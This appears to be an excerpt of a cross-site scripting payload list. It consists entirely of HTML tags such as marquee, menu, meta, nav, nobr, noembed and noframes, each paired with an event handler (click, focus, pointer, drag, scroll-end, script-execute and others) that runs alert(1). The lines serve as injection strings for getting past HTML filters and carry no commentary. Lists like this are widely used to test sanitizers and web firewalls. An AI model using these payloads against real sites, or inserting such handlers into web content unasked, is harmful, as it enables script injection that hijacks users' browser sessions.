<marquee onblur=alert(1) id=x tabindex=1 style=display:block>test</marquee><input value=clickme>
<marquee onclick="alert(1)" style=display:block>test</marquee>
<marquee oncontextmenu="alert(1)" style=display:block>test</marquee>
<marquee oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<marquee oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<marquee ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</marquee>
<marquee onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</marquee><input value=clickme>
<marquee onkeydown="alert(1)" contenteditable style=display:block>test</marquee>
<marquee onkeypress="alert(1)" contenteditable style=display:block>test</marquee>
<marquee onkeyup="alert(1)" contenteditable style=display:block>test</marquee>
<marquee onmousedown="alert(1)" style=display:block>test</marquee>
<marquee onmouseenter="alert(1)" style=display:block>test</marquee>
<marquee onmouseleave="alert(1)" style=display:block>test</marquee>
<marquee onmousemove="alert(1)" style=display:block>test</marquee>
<marquee onmouseout="alert(1)" style=display:block>test</marquee>
<marquee onmouseover="alert(1)" style=display:block>test</marquee>
<marquee onmouseup="alert(1)" style=display:block>test</marquee>
<marquee onmousewheel=alert(1) style=display:block>requires scrolling
<marquee onpaste="alert(1)" contenteditable>test</marquee>
<marquee onpointerdown=alert(1) style=display:block>XSS</marquee>
<marquee onpointerenter=alert(1) style=display:block>XSS</marquee>
<marquee onpointerleave=alert(1) style=display:block>XSS</marquee>
<marquee onpointermove=alert(1) style=display:block>XSS</marquee>
<marquee onpointerout=alert(1) style=display:block>XSS</marquee>
<marquee onpointerover=alert(1) style=display:block>XSS</marquee>
<marquee onpointerrawupdate=alert(1) style=display:block>XSS</marquee>
<marquee onpointerup=alert(1) style=display:block>XSS</marquee>
<marquee onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></marquee>
<marquee onstart=alert(1)>XSS</marquee>
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
<menu contenteditable onbeforeinput=alert(1)>test
<menu draggable="true" ondrag="alert(1)" style=display:block>test</menu>
<menu draggable="true" ondragend="alert(1)" style=display:block>test</menu>
<menu draggable="true" ondragenter="alert(1)" style=display:block>test</menu>
<menu draggable="true" ondragleave="alert(1)" style=display:block>test</menu>
<menu draggable="true" ondragstart="alert(1)" style=display:block>test</menu>
<menu id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></menu>
<menu id=x tabindex=1 onfocus=alert(1)></menu>
<menu id=x tabindex=1 onfocusin=alert(1)></menu>
<menu onafterscriptexecute=alert(1)><script>1</script>
<menu onbeforecopy="alert(1)" contenteditable>test</menu>
<menu onbeforecut="alert(1)" contenteditable>test</menu>
<menu onbeforescriptexecute=alert(1)><script>1</script>
<menu onblur=alert(1) id=x tabindex=1 style=display:block>test</menu><input value=clickme>
<menu onclick="alert(1)" style=display:block>test</menu>
<menu oncontextmenu="alert(1)" style=display:block>test</menu>
<menu oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<menu oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<menu ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</menu>
<menu onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</menu><input value=clickme>
<menu onkeydown="alert(1)" contenteditable style=display:block>test</menu>
<menu onkeypress="alert(1)" contenteditable style=display:block>test</menu>
<menu onkeyup="alert(1)" contenteditable style=display:block>test</menu>
<menu onmousedown="alert(1)" style=display:block>test</menu>
<menu onmouseenter="alert(1)" style=display:block>test</menu>
<menu onmouseleave="alert(1)" style=display:block>test</menu>
<menu onmousemove="alert(1)" style=display:block>test</menu>
<menu onmouseout="alert(1)" style=display:block>test</menu>
<menu onmouseover="alert(1)" style=display:block>test</menu>
<menu onmouseup="alert(1)" style=display:block>test</menu>
<menu onmousewheel=alert(1) style=display:block>requires scrolling
<menu onpaste="alert(1)" contenteditable>test</menu>
<menu onpointerdown=alert(1) style=display:block>XSS</menu>
<menu onpointerenter=alert(1) style=display:block>XSS</menu>
<menu onpointerleave=alert(1) style=display:block>XSS</menu>
<menu onpointermove=alert(1) style=display:block>XSS</menu>
<menu onpointerout=alert(1) style=display:block>XSS</menu>
<menu onpointerover=alert(1) style=display:block>XSS</menu>
<menu onpointerrawupdate=alert(1) style=display:block>XSS</menu>
<menu onpointerup=alert(1) style=display:block>XSS</menu>
<menu onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></menu>
<menuitem contenteditable onbeforeinput=alert(1)>test
<menuitem draggable="true" ondrag="alert(1)" style=display:block>test</menuitem>
<menuitem draggable="true" ondragend="alert(1)" style=display:block>test</menuitem>
<menuitem draggable="true" ondragenter="alert(1)" style=display:block>test</menuitem>
<menuitem draggable="true" ondragleave="alert(1)" style=display:block>test</menuitem>
<menuitem draggable="true" ondragstart="alert(1)" style=display:block>test</menuitem>
<menuitem id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></menuitem>
<menuitem id=x tabindex=1 onfocus=alert(1)></menuitem>
<menuitem id=x tabindex=1 onfocusin=alert(1)></menuitem>
<menuitem onafterscriptexecute=alert(1)><script>1</script>
<menuitem onbeforecopy="alert(1)" contenteditable>test</menuitem>
<menuitem onbeforecut="alert(1)" contenteditable>test</menuitem>
<menuitem onbeforescriptexecute=alert(1)><script>1</script>
<menuitem onblur=alert(1) id=x tabindex=1 style=display:block>test</menuitem><input value=clickme>
<menuitem onclick="alert(1)" style=display:block>test</menuitem>
<menuitem oncontextmenu="alert(1)" style=display:block>test</menuitem>
<menuitem oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<menuitem oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<menuitem ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</menuitem>
<menuitem onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</menuitem><input value=clickme>
<menuitem onkeydown="alert(1)" contenteditable style=display:block>test</menuitem>
<menuitem onkeypress="alert(1)" contenteditable style=display:block>test</menuitem>
<menuitem onkeyup="alert(1)" contenteditable style=display:block>test</menuitem>
<menuitem onmousedown="alert(1)" style=display:block>test</menuitem>
<menuitem onmouseenter="alert(1)" style=display:block>test</menuitem>
<menuitem onmouseleave="alert(1)" style=display:block>test</menuitem>
<menuitem onmousemove="alert(1)" style=display:block>test</menuitem>
<menuitem onmouseout="alert(1)" style=display:block>test</menuitem>
<menuitem onmouseover="alert(1)" style=display:block>test</menuitem>
<menuitem onmouseup="alert(1)" style=display:block>test</menuitem>
<menuitem onmousewheel=alert(1) style=display:block>requires scrolling
<menuitem onpaste="alert(1)" contenteditable>test</menuitem>
<menuitem onpointerdown=alert(1) style=display:block>XSS</menuitem>
<menuitem onpointerenter=alert(1) style=display:block>XSS</menuitem>
<menuitem onpointerleave=alert(1) style=display:block>XSS</menuitem>
<menuitem onpointermove=alert(1) style=display:block>XSS</menuitem>
<menuitem onpointerout=alert(1) style=display:block>XSS</menuitem>
<menuitem onpointerover=alert(1) style=display:block>XSS</menuitem>
<menuitem onpointerrawupdate=alert(1) style=display:block>XSS</menuitem>
<menuitem onpointerup=alert(1) style=display:block>XSS</menuitem>
<menuitem onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></menuitem>
<meta contenteditable onbeforeinput=alert(1)>test
<meta draggable="true" ondrag="alert(1)" style=display:block>test</meta>
<meta draggable="true" ondragend="alert(1)" style=display:block>test</meta>
<meta draggable="true" ondragenter="alert(1)" style=display:block>test</meta>
<meta draggable="true" ondragleave="alert(1)" style=display:block>test</meta>
<meta draggable="true" ondragstart="alert(1)" style=display:block>test</meta>
<meta id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></meta>
<meta id=x tabindex=1 onfocus=alert(1) style=display:block></meta>
<meta id=x tabindex=1 onfocusin=alert(1) style=display:block></meta>
<meta onafterscriptexecute=alert(1)><script>1</script>
<meta onbeforecopy="alert(1)" contenteditable style=display:block>test</meta>
<meta onbeforecut="alert(1)" contenteditable style=display:block>test</meta>
<meta onbeforescriptexecute=alert(1)><script>1</script>
<meta onblur=alert(1) id=x tabindex=1 style=display:block>test</meta><input value=clickme>
<meta onclick="alert(1)" style=display:block>test</meta>
<meta oncontextmenu="alert(1)" style=display:block>test</meta>
<meta oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<meta oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<meta ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</meta>
<meta onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</meta><input value=clickme>
<meta onkeydown="alert(1)" contenteditable style=display:block>test</meta>
<meta onkeypress="alert(1)" contenteditable style=display:block>test</meta>
<meta onkeyup="alert(1)" contenteditable style=display:block>test</meta>
<meta onmousedown="alert(1)" style=display:block>test</meta>
<meta onmouseenter="alert(1)" style=display:block>test</meta>
<meta onmouseleave="alert(1)" style=display:block>test</meta>
<meta onmousemove="alert(1)" style=display:block>test</meta>
<meta onmouseout="alert(1)" style=display:block>test</meta>
<meta onmouseover="alert(1)" style=display:block>test</meta>
<meta onmouseup="alert(1)" style=display:block>test</meta>
<meta onmousewheel=alert(1) style=display:block>requires scrolling
<meta onpaste="alert(1)" contenteditable style=display:block>test</meta>
<meta onpointerdown=alert(1) style=display:block>XSS</meta>
<meta onpointerenter=alert(1) style=display:block>XSS</meta>
<meta onpointerleave=alert(1) style=display:block>XSS</meta>
<meta onpointermove=alert(1) style=display:block>XSS</meta>
<meta onpointerout=alert(1) style=display:block>XSS</meta>
<meta onpointerover=alert(1) style=display:block>XSS</meta>
<meta onpointerrawupdate=alert(1) style=display:block>XSS</meta>
<meta onpointerup=alert(1) style=display:block>XSS</meta>
<meta onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></meta>
<meter contenteditable onbeforeinput=alert(1)>test
<meter draggable="true" ondrag="alert(1)" style=display:block>test</meter>
<meter draggable="true" ondragend="alert(1)" style=display:block>test</meter>
<meter draggable="true" ondragenter="alert(1)" style=display:block>test</meter>
<meter draggable="true" ondragleave="alert(1)" style=display:block>test</meter>
<meter draggable="true" ondragstart="alert(1)" style=display:block>test</meter>
<meter id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></meter>
<meter id=x tabindex=1 onfocus=alert(1)></meter>
<meter id=x tabindex=1 onfocusin=alert(1)></meter>
<meter onafterscriptexecute=alert(1)><script>1</script>
<meter onbeforecopy="alert(1)" contenteditable>test</meter>
<meter onbeforecut="alert(1)" contenteditable>test</meter>
<meter onbeforescriptexecute=alert(1)><script>1</script>
<meter onblur=alert(1) id=x tabindex=1 style=display:block>test</meter><input value=clickme>
<meter onclick="alert(1)" style=display:block>test</meter>
<meter oncontextmenu="alert(1)" style=display:block>test</meter>
<meter oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<meter oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<meter ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</meter>
<meter onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</meter><input value=clickme>
<meter onkeydown="alert(1)" contenteditable style=display:block>test</meter>
<meter onkeypress="alert(1)" contenteditable style=display:block>test</meter>
<meter onkeyup="alert(1)" contenteditable style=display:block>test</meter>
<meter onmousedown="alert(1)" style=display:block>test</meter>
<meter onmouseenter="alert(1)" style=display:block>test</meter>
<meter onmouseleave="alert(1)" style=display:block>test</meter>
<meter onmousemove="alert(1)" style=display:block>test</meter>
<meter onmouseout="alert(1)" style=display:block>test</meter>
<meter onmouseover="alert(1)" style=display:block>test</meter>
<meter onmouseup="alert(1)" style=display:block>test</meter>
<meter onmousewheel=alert(1) style=display:block>requires scrolling
<meter onpaste="alert(1)" contenteditable>test</meter>
<meter onpointerdown=alert(1) style=display:block>XSS</meter>
<meter onpointerenter=alert(1) style=display:block>XSS</meter>
<meter onpointerleave=alert(1) style=display:block>XSS</meter>
<meter onpointermove=alert(1) style=display:block>XSS</meter>
<meter onpointerout=alert(1) style=display:block>XSS</meter>
<meter onpointerover=alert(1) style=display:block>XSS</meter>
<meter onpointerrawupdate=alert(1) style=display:block>XSS</meter>
<meter onpointerup=alert(1) style=display:block>XSS</meter>
<meter onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></meter>
<multicol contenteditable onbeforeinput=alert(1)>test
<multicol draggable="true" ondrag="alert(1)" style=display:block>test</multicol>
<multicol draggable="true" ondragend="alert(1)" style=display:block>test</multicol>
<multicol draggable="true" ondragenter="alert(1)" style=display:block>test</multicol>
<multicol draggable="true" ondragleave="alert(1)" style=display:block>test</multicol>
<multicol draggable="true" ondragstart="alert(1)" style=display:block>test</multicol>
<multicol id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></multicol>
<multicol id=x tabindex=1 onfocus=alert(1)></multicol>
<multicol id=x tabindex=1 onfocusin=alert(1)></multicol>
<multicol onafterscriptexecute=alert(1)><script>1</script>
<multicol onbeforecopy="alert(1)" contenteditable>test</multicol>
<multicol onbeforecut="alert(1)" contenteditable>test</multicol>
<multicol onbeforescriptexecute=alert(1)><script>1</script>
<multicol onblur=alert(1) id=x tabindex=1 style=display:block>test</multicol><input value=clickme>
<multicol onclick="alert(1)" style=display:block>test</multicol>
<multicol oncontextmenu="alert(1)" style=display:block>test</multicol>
<multicol oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<multicol oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<multicol ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</multicol>
<multicol onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</multicol><input value=clickme>
<multicol onkeydown="alert(1)" contenteditable style=display:block>test</multicol>
<multicol onkeypress="alert(1)" contenteditable style=display:block>test</multicol>
<multicol onkeyup="alert(1)" contenteditable style=display:block>test</multicol>
<multicol onmousedown="alert(1)" style=display:block>test</multicol>
<multicol onmouseenter="alert(1)" style=display:block>test</multicol>
<multicol onmouseleave="alert(1)" style=display:block>test</multicol>
<multicol onmousemove="alert(1)" style=display:block>test</multicol>
<multicol onmouseout="alert(1)" style=display:block>test</multicol>
<multicol onmouseover="alert(1)" style=display:block>test</multicol>
<multicol onmouseup="alert(1)" style=display:block>test</multicol>
<multicol onmousewheel=alert(1) style=display:block>requires scrolling
<multicol onpaste="alert(1)" contenteditable>test</multicol>
<multicol onpointerdown=alert(1) style=display:block>XSS</multicol>
<multicol onpointerenter=alert(1) style=display:block>XSS</multicol>
<multicol onpointerleave=alert(1) style=display:block>XSS</multicol>
<multicol onpointermove=alert(1) style=display:block>XSS</multicol>
<multicol onpointerout=alert(1) style=display:block>XSS</multicol>
<multicol onpointerover=alert(1) style=display:block>XSS</multicol>
<multicol onpointerrawupdate=alert(1) style=display:block>XSS</multicol>
<multicol onpointerup=alert(1) style=display:block>XSS</multicol>
<multicol onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></multicol>
<nav contenteditable onbeforeinput=alert(1)>test
<nav draggable="true" ondrag="alert(1)" style=display:block>test</nav>
<nav draggable="true" ondragend="alert(1)" style=display:block>test</nav>
<nav draggable="true" ondragenter="alert(1)" style=display:block>test</nav>
<nav draggable="true" ondragleave="alert(1)" style=display:block>test</nav>
<nav draggable="true" ondragstart="alert(1)" style=display:block>test</nav>
<nav id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></nav>
<nav id=x tabindex=1 onfocus=alert(1)></nav>
<nav id=x tabindex=1 onfocusin=alert(1)></nav>
<nav onafterscriptexecute=alert(1)><script>1</script>
<nav onbeforecopy="alert(1)" contenteditable>test</nav>
<nav onbeforecut="alert(1)" contenteditable>test</nav>
<nav onbeforescriptexecute=alert(1)><script>1</script>
<nav onblur=alert(1) id=x tabindex=1 style=display:block>test</nav><input value=clickme>
<nav onclick="alert(1)" style=display:block>test</nav>
<nav oncontextmenu="alert(1)" style=display:block>test</nav>
<nav oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<nav oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<nav ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</nav>
<nav onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</nav><input value=clickme>
<nav onkeydown="alert(1)" contenteditable style=display:block>test</nav>
<nav onkeypress="alert(1)" contenteditable style=display:block>test</nav>
<nav onkeyup="alert(1)" contenteditable style=display:block>test</nav>
<nav onmousedown="alert(1)" style=display:block>test</nav>
<nav onmouseenter="alert(1)" style=display:block>test</nav>
<nav onmouseleave="alert(1)" style=display:block>test</nav>
<nav onmousemove="alert(1)" style=display:block>test</nav>
<nav onmouseout="alert(1)" style=display:block>test</nav>
<nav onmouseover="alert(1)" style=display:block>test</nav>
<nav onmouseup="alert(1)" style=display:block>test</nav>
<nav onmousewheel=alert(1) style=display:block>requires scrolling
<nav onpaste="alert(1)" contenteditable>test</nav>
<nav onpointerdown=alert(1) style=display:block>XSS</nav>
<nav onpointerenter=alert(1) style=display:block>XSS</nav>
<nav onpointerleave=alert(1) style=display:block>XSS</nav>
<nav onpointermove=alert(1) style=display:block>XSS</nav>
<nav onpointerout=alert(1) style=display:block>XSS</nav>
<nav onpointerover=alert(1) style=display:block>XSS</nav>
<nav onpointerrawupdate=alert(1) style=display:block>XSS</nav>
<nav onpointerup=alert(1) style=display:block>XSS</nav>
<nav onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></nav>
<nextid contenteditable onbeforeinput=alert(1)>test
<nextid draggable="true" ondrag="alert(1)" style=display:block>test</nextid>
<nextid draggable="true" ondragend="alert(1)" style=display:block>test</nextid>
<nextid draggable="true" ondragenter="alert(1)" style=display:block>test</nextid>
<nextid draggable="true" ondragleave="alert(1)" style=display:block>test</nextid>
<nextid draggable="true" ondragstart="alert(1)" style=display:block>test</nextid>
<nextid id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></nextid>
<nextid id=x tabindex=1 onfocus=alert(1)></nextid>
<nextid id=x tabindex=1 onfocusin=alert(1)></nextid>
<nextid onafterscriptexecute=alert(1)><script>1</script>
<nextid onbeforecopy="alert(1)" contenteditable>test</nextid>
<nextid onbeforecut="alert(1)" contenteditable>test</nextid>
<nextid onbeforescriptexecute=alert(1)><script>1</script>
<nextid onblur=alert(1) id=x tabindex=1 style=display:block>test</nextid><input value=clickme>
<nextid onclick="alert(1)" style=display:block>test</nextid>
<nextid oncontextmenu="alert(1)" style=display:block>test</nextid>
<nextid oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<nextid oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<nextid ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</nextid>
<nextid onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</nextid><input value=clickme>
<nextid onkeydown="alert(1)" contenteditable style=display:block>test</nextid>
<nextid onkeypress="alert(1)" contenteditable style=display:block>test</nextid>
<nextid onkeyup="alert(1)" contenteditable style=display:block>test</nextid>
<nextid onmousedown="alert(1)" style=display:block>test</nextid>
<nextid onmouseenter="alert(1)" style=display:block>test</nextid>
<nextid onmouseleave="alert(1)" style=display:block>test</nextid>
<nextid onmousemove="alert(1)" style=display:block>test</nextid>
<nextid onmouseout="alert(1)" style=display:block>test</nextid>
<nextid onmouseover="alert(1)" style=display:block>test</nextid>
<nextid onmouseup="alert(1)" style=display:block>test</nextid>
<nextid onmousewheel=alert(1) style=display:block>requires scrolling
<nextid onpaste="alert(1)" contenteditable>test</nextid>
<nextid onpointerdown=alert(1) style=display:block>XSS</nextid>
<nextid onpointerenter=alert(1) style=display:block>XSS</nextid>
<nextid onpointerleave=alert(1) style=display:block>XSS</nextid>
<nextid onpointermove=alert(1) style=display:block>XSS</nextid>
<nextid onpointerout=alert(1) style=display:block>XSS</nextid>
<nextid onpointerover=alert(1) style=display:block>XSS</nextid>
<nextid onpointerrawupdate=alert(1) style=display:block>XSS</nextid>
<nextid onpointerup=alert(1) style=display:block>XSS</nextid>
<nextid onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></nextid>
<nobr contenteditable onbeforeinput=alert(1)>test
<nobr draggable="true" ondrag="alert(1)" style=display:block>test</nobr>
<nobr draggable="true" ondragend="alert(1)" style=display:block>test</nobr>
<nobr draggable="true" ondragenter="alert(1)" style=display:block>test</nobr>
<nobr draggable="true" ondragleave="alert(1)" style=display:block>test</nobr>
<nobr draggable="true" ondragstart="alert(1)" style=display:block>test</nobr>
<nobr id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></nobr>
<nobr id=x tabindex=1 onfocus=alert(1)></nobr>
<nobr id=x tabindex=1 onfocusin=alert(1)></nobr>
<nobr onafterscriptexecute=alert(1)><script>1</script>
<nobr onbeforecopy="alert(1)" contenteditable>test</nobr>
<nobr onbeforecut="alert(1)" contenteditable>test</nobr>
<nobr onbeforescriptexecute=alert(1)><script>1</script>
<nobr onblur=alert(1) id=x tabindex=1 style=display:block>test</nobr><input value=clickme>
<nobr onclick="alert(1)" style=display:block>test</nobr>
<nobr oncontextmenu="alert(1)" style=display:block>test</nobr>
<nobr oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<nobr oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<nobr ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</nobr>
<nobr onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</nobr><input value=clickme>
<nobr onkeydown="alert(1)" contenteditable style=display:block>test</nobr>
<nobr onkeypress="alert(1)" contenteditable style=display:block>test</nobr>
<nobr onkeyup="alert(1)" contenteditable style=display:block>test</nobr>
<nobr onmousedown="alert(1)" style=display:block>test</nobr>
<nobr onmouseenter="alert(1)" style=display:block>test</nobr>
<nobr onmouseleave="alert(1)" style=display:block>test</nobr>
<nobr onmousemove="alert(1)" style=display:block>test</nobr>
<nobr onmouseout="alert(1)" style=display:block>test</nobr>
<nobr onmouseover="alert(1)" style=display:block>test</nobr>
<nobr onmouseup="alert(1)" style=display:block>test</nobr>
<nobr onmousewheel=alert(1) style=display:block>requires scrolling
<nobr onpaste="alert(1)" contenteditable>test</nobr>
<nobr onpointerdown=alert(1) style=display:block>XSS</nobr>
<nobr onpointerenter=alert(1) style=display:block>XSS</nobr>
<nobr onpointerleave=alert(1) style=display:block>XSS</nobr>
<nobr onpointermove=alert(1) style=display:block>XSS</nobr>
<nobr onpointerout=alert(1) style=display:block>XSS</nobr>
<nobr onpointerover=alert(1) style=display:block>XSS</nobr>
<nobr onpointerrawupdate=alert(1) style=display:block>XSS</nobr>
<nobr onpointerup=alert(1) style=display:block>XSS</nobr>
<nobr onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></nobr>
<noembed contenteditable onbeforeinput=alert(1)>test
<noembed draggable="true" ondrag="alert(1)" style=display:block>test</noembed>
<noembed draggable="true" ondragend="alert(1)" style=display:block>test</noembed>
<noembed draggable="true" ondragenter="alert(1)" style=display:block>test</noembed>
<noembed draggable="true" ondragleave="alert(1)" style=display:block>test</noembed>
<noembed draggable="true" ondragstart="alert(1)" style=display:block>test</noembed>
<noembed id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></noembed>
<noembed id=x tabindex=1 onfocus=alert(1)></noembed>
<noembed id=x tabindex=1 onfocusin=alert(1)></noembed>
<noembed onafterscriptexecute=alert(1)><script>1</script>
<noembed onbeforecopy="alert(1)" contenteditable>test</noembed>
<noembed onbeforecut="alert(1)" contenteditable>test</noembed>
<noembed onbeforescriptexecute=alert(1)><script>1</script>
<noembed onblur=alert(1) id=x tabindex=1 style=display:block>test</noembed><input value=clickme>
<noembed onclick="alert(1)" style=display:block>test</noembed>
<noembed oncontextmenu="alert(1)" style=display:block>test</noembed>
<noembed oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<noembed oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<noembed ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</noembed>
<noembed onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</noembed><input value=clickme>
<noembed onkeydown="alert(1)" contenteditable style=display:block>test</noembed>
<noembed onkeypress="alert(1)" contenteditable style=display:block>test</noembed>
<noembed onkeyup="alert(1)" contenteditable style=display:block>test</noembed>
<noembed onmousedown="alert(1)" style=display:block>test</noembed>
<noembed onmouseenter="alert(1)" style=display:block>test</noembed>
<noembed onmouseleave="alert(1)" style=display:block>test</noembed>
<noembed onmousemove="alert(1)" style=display:block>test</noembed>
<noembed onmouseout="alert(1)" style=display:block>test</noembed>
<noembed onmouseover="alert(1)" style=display:block>test</noembed>
<noembed onmouseup="alert(1)" style=display:block>test</noembed>
<noembed onmousewheel=alert(1) style=display:block>requires scrolling
<noembed onpaste="alert(1)" contenteditable>test</noembed>
<noembed onpointerdown=alert(1) style=display:block>XSS</noembed>
<noembed onpointerenter=alert(1) style=display:block>XSS</noembed>
<noembed onpointerleave=alert(1) style=display:block>XSS</noembed>
<noembed onpointermove=alert(1) style=display:block>XSS</noembed>
<noembed onpointerout=alert(1) style=display:block>XSS</noembed>
<noembed onpointerover=alert(1) style=display:block>XSS</noembed>
<noembed onpointerrawupdate=alert(1) style=display:block>XSS</noembed>
<noembed onpointerup=alert(1) style=display:block>XSS</noembed>
<noembed onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></noembed>
<noframes contenteditable onbeforeinput=alert(1)>test
<noframes draggable="true" ondrag="alert(1)" style=display:block>test</noframes>
<noframes draggable="true" ondragend="alert(1)" style=display:block>test</noframes>
<noframes draggable="true" ondragenter="alert(1)" style=display:block>test</noframes>
<noframes draggable="true" ondragleave="alert(1)" style=display:block>test</noframes>
<noframes draggable="true" ondragstart="alert(1)" style=display:block>test</noframes>
<noframes id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></noframes>
<noframes id=x tabindex=1 onfocus=alert(1)></noframes>
<noframes id=x tabindex=1 onfocusin=alert(1)></noframes>
<noframes onafterscriptexecute=alert(1)><script>1</script>
<noframes onbeforecopy="alert(1)" contenteditable>test</noframes>
<noframes onbeforecut="alert(1)" contenteditable>test</noframes>
<noframes onbeforescriptexecute=alert(1)><script>1</script>
<noframes onblur=alert(1) id=x tabindex=1 style=display:block>test</noframes><input value=clickme>
<noframes onclick="alert(1)" style=display:block>test</noframes>
<noframes oncontextmenu="alert(1)" style=display:block>test</noframes>
<noframes oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<noframes oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<noframes ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</noframes>
<noframes onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</noframes><input value=clickme>
<noframes onkeydown="alert(1)" contenteditable style=display:block>test</noframes>
<noframes onkeypress="alert(1)" contenteditable style=display:block>test</noframes>
<noframes onkeyup="alert(1)" contenteditable style=display:block>test</noframes>
<noframes onmousedown="alert(1)" style=display:block>test</noframes>
<noframes onmouseenter="alert(1)" style=display:block>test</noframes>
<noframes onmouseleave="alert(1)" style=display:block>test</noframes>
<noframes onmousemove="alert(1)" style=display:block>test</noframes>
<noframes onmouseout="alert(1)" style=display:block>test</noframes>
<noframes onmouseover="alert(1)" style=display:block>test</noframes>
<noframes onmouseup="alert(1)" style=display:block>test</noframes>
<noframes onmousewheel=alert(1) style=display:block>requires scrolling
<noframes onpaste="alert(1)" contenteditable>test</noframes>
<noframes onpointerdown=alert(1) style=display:block>XSS</noframes>
<noframes onpointerenter=alert(1) style=display:block>XSS</noframes>
<noframes onpointerleave=alert(1) style=display:block>XSS</noframes>
<noframes onpointermove=alert(1) style=display:block>XSS</noframes>
<noframes onpointerout=alert(1) style=display:block>XSS</noframes>
<noframes onpointerover=alert(1) style=display:block>XSS</noframes>
<noframes onpointerrawupdate=alert(1) style=display:block>XSS</noframes>
<noframes onpointerup=alert(1) style=display:block>XSS</noframes>
